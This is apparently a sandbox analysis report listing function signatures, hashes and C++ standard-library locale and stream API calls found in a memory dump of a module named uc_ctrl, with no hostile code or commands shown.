Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3701595923-0
Opcode ID: fdca4e41a09dc03171d1dd9bf35716879a19b869a695145db333cbb21f7f1c4d
Instruction ID: 17b09f8488892aa89193fd184b64f95512c9f6767893861a02af6f78bf1310a8
Opcode Fuzzy Hash: fdca4e41a09dc03171d1dd9bf35716879a19b869a695145db333cbb21f7f1c4d
Instruction Fuzzy Hash: 2D216D70A01218AFCB05DBE4C994AEEBFB5AF68308F544059E109A7751D731DA59CBA0

Function 6C9559B0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9559B7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C9559E8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C9559FD
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955A3A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955A7D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_weekday@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1547896723-0
Opcode ID: 5154665bde49bed04dade610eb215559fa8056a43012dc33a87c17c9b1a7f58d
Instruction ID: cd1aff5f802922e8f59eb0da458acf409daab76169be605b9646072d66646977
Opcode Fuzzy Hash: 5154665bde49bed04dade610eb215559fa8056a43012dc33a87c17c9b1a7f58d
Instruction Fuzzy Hash: E6216D34A01108AFCB05DFE4C884AEEBFB5AF69308F144059E009A7752D731DA59CBA0

Function 6C952950 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952957

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952988

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C95299D
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C9529DA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952A1D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 1516647855-0
Opcode ID: db563b5a74d8c2b898030a8da68ef97b426b73b8865ed675b216521239bd7ea9
Instruction ID: fb08a265cc5f934325795fa671b51615f5ae0b4a30bcde654230a70f126c4e6d
Opcode Fuzzy Hash: db563b5a74d8c2b898030a8da68ef97b426b73b8865ed675b216521239bd7ea9
Instruction Fuzzy Hash: 6E216D34A01118AFCB01DBA4C844AEEBFB5AF68308F144059E109A7351DB31DA59CBA0

Function 6C955AA0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955AA7

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955AD8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955AED
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955B2A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955B6D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_monthname@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3996869177-0
Opcode ID: 3aa0ebf2e4fb351320db99986c3ee02370e98630bcfdd93e81c3c58466779ec6
Instruction ID: 19acfa3e66a76dc3a1a2c1fc4bed668178b1c8aea70b1a7c743ccf7be9929502
Opcode Fuzzy Hash: 3aa0ebf2e4fb351320db99986c3ee02370e98630bcfdd93e81c3c58466779ec6
Instruction Fuzzy Hash: 20218E70A01108AFCF05DFE4C884EEEBFB5AF69318F144059E009A7752D731DA59CBA4

Function 6C952A40 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952A47

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952A78

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952A8D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAK@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C952ACA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952B0D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: e775e61619e518a20943c7ba3af555077417c10c3b5d374e556410ba55607fea
Instruction ID: a537c661c4132f3dfeaf55d965faa0220f0747bbd3eeeb8b5323cb3ddfd68def
Opcode Fuzzy Hash: e775e61619e518a20943c7ba3af555077417c10c3b5d374e556410ba55607fea
Instruction Fuzzy Hash: B4218E34A01258AFCF02DFE4C884EEEBFB5AF69308F544059E109A7751D731DA59DBA0

Function 6C938B90 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C938B97
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6C938BB5

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6C938BD1

Part of subcall function 6C93A400: __EH_prolog3_GS.LIBCMT ref: 6C93A407

std::locale::~locale.LIBCPMT ref: 6C938BE2
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6C938BF4

Part of subcall function 6C92E660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E683
Part of subcall function 6C92E660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6C92E70F
Part of subcall function 6C92E660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E71D
Part of subcall function 6C92E660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E774

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@D@std@@@2@1D@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
String ID:
API String ID: 2351922906-0
Opcode ID: cfa4424b2b059012abc8cdca7735d20666ae0e9e2195afaa017270cb7b5ec132
Instruction ID: 557c1a2f64ff10232f705e9bb97f801e08595e32f39788b0d026f9c22072e829
Opcode Fuzzy Hash: cfa4424b2b059012abc8cdca7735d20666ae0e9e2195afaa017270cb7b5ec132
Instruction Fuzzy Hash: 7A214D75801218AFCF04DF90D980ADEB7B8FF18318F505566F819E7280EB34EA18CBA4

Function 6C955B90 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955B97

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955BC8

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949550: __EH_prolog3.LIBCMT ref: 6C949557
Part of subcall function 6C949550: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E5C0,?,?,00000000), ref: 6C949562
Part of subcall function 6C949550: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C94957A
Part of subcall function 6C949550: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C9495DE

std::locale::~locale.LIBCPMT ref: 6C955BDD
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C955C1A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C955C5D

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_W@std@@@std@@$??1_?get_year@?$time_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchIpfx@?$basic_istream@_Lockit@std@@Utm@@@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 157422613-0
Opcode ID: 4ba9c0713a84b6af5bd2fca873ed5d67d2dcfcfe72efe1b996253536c7952bd0
Instruction ID: cf0ca2715c30060800ae29f222d0428f4702b7da7a89ddca605c7f9dccaf4372
Opcode Fuzzy Hash: 4ba9c0713a84b6af5bd2fca873ed5d67d2dcfcfe72efe1b996253536c7952bd0
Instruction Fuzzy Hash: 0B216D74A01108AFCB05DFE4C844EEEBFB5BF69308F144059E109A7752D731DA59CBA0

Function 6C940BD0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C940BD7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000040), ref: 6C940BF5

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

?_Getifld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1HABVlocale@2@@Z.MSVCP140(?,?,?,?,00000800,00000000), ref: 6C940C11

Part of subcall function 6C945CD0: __EH_prolog3_GS.LIBCMT ref: 6C945CDA

std::locale::~locale.LIBCPMT ref: 6C940C22
_Stoulx.MSVCP140(?,?,00000000,?), ref: 6C940C34

Part of subcall function 6C92E660: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6C92E683
Part of subcall function 6C92E660: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010), ref: 6C92E70F
Part of subcall function 6C92E660: memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6C92E71D
Part of subcall function 6C92E660: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E774

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_U?$char_traits@V?$istreambuf_iterator@$?getloc@ios_base@std@@G@std@@@2@1G@std@@@std@@@std@@Getifld@?$num_get@StoulxVlocale@2@Vlocale@2@@_errnoisspacememchrstd::locale::localestd::locale::~localetolower
String ID:
API String ID: 554882773-0
Opcode ID: 9d8ec303ccb17c970d9859841d2fa84200ea3a53a81cfb19776abcebc6b508fa
Instruction ID: 89d5c19644bafc23c9b372b147c6af1a285560756e665c8205cc3705db55c281
Opcode Fuzzy Hash: 9d8ec303ccb17c970d9859841d2fa84200ea3a53a81cfb19776abcebc6b508fa
Instruction Fuzzy Hash: FC211D75901219EFCB14DF94D980ADEB7B8FF28315F508566F815E7680EB34EA18CBA0

Function 6C950BE0 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C950BE7

Part of subcall function 6C937C64: __EH_prolog3.LIBCMT ref: 6C937C6B
Part of subcall function 6C937C64: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV12@XZ.MSVCP140(00000008,6C937BA3,?,?,?,?,?,?,0000000C,6C937B7C,?,6C934238,?,747991BB,?,6C95BDA0), ref: 6C937CB7

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,00000028), ref: 6C950C17

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949C86: __EH_prolog3.LIBCMT ref: 6C949C8D
Part of subcall function 6C949C86: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAF1,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949C98
Part of subcall function 6C949C86: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949CB0
Part of subcall function 6C949C86: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949D14

std::locale::~locale.LIBCPMT ref: 6C950C2D
?put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WO@Z.MSVCP140(?,?,?,00000002,?,00000002,00000002,?,?,?,?,?,?,?,?,00000028), ref: 6C950C5C
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,?,?,?,00000028), ref: 6C950CA9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$ostreambuf_iterator@_W@std@@@std@@$??1_?flush@?$basic_ostream@_?getloc@ios_base@std@@?put@?$num_put@_?setstate@?$basic_ios@_Bid@locale@std@@H_prolog3_catchLockit@std@@V12@V32@Vios_base@2@_Vlocale@2@W@std@@@2@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 2951709258-0
Opcode ID: 08f517c0656bc826cdb706b874da3e4ace63a211193d2769a242681760b5c840
Instruction ID: 02edfb494b1694fea7bf1a36121a4a4bef1f8758118f140217b26f873da36a8f
Opcode Fuzzy Hash: 08f517c0656bc826cdb706b874da3e4ace63a211193d2769a242681760b5c840
Instruction Fuzzy Hash: F221AF71901104AFCB05DFA8C954BFDBBF5AF6A308F24848DE145AB381CB75DA19CBA4

Function 6C952B30 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C952B37

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952B68

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C949BEB: __EH_prolog3.LIBCMT ref: 6C949BF2
Part of subcall function 6C949BEB: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EAA0,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C949BFD
Part of subcall function 6C949BEB: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C949C15
Part of subcall function 6C949BEB: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C949C79

std::locale::~locale.LIBCPMT ref: 6C952B7D
?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHAAJ@Z.MSVCP140(?,?,?,00000000,?,00000001,00000002,?,?), ref: 6C952BBA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,0000002C), ref: 6C952BFD

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$H_prolog3V?$istreambuf_iterator@_$??1_?get@?$num_get@_?getloc@ios_base@std@@?setstate@?$basic_ios@_Bid@locale@std@@G@std@@@std@@H_prolog3_catchIpfx@?$basic_istream@Lockit@std@@U?$char_traits@V32@0Vios_base@2@Vlocale@2@W@std@@@2@W@std@@@std@@W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3926143654-0
Opcode ID: 3bedc5c419bfe15aa2c508287633e6f7dd773c07e2d925e473f576a3ea90f24b
Instruction ID: 7fe3c6909d22289f3bbb54aeb7dea557f2edc28d1c85a49032b761bc01b4008b
Opcode Fuzzy Hash: 3bedc5c419bfe15aa2c508287633e6f7dd773c07e2d925e473f576a3ea90f24b
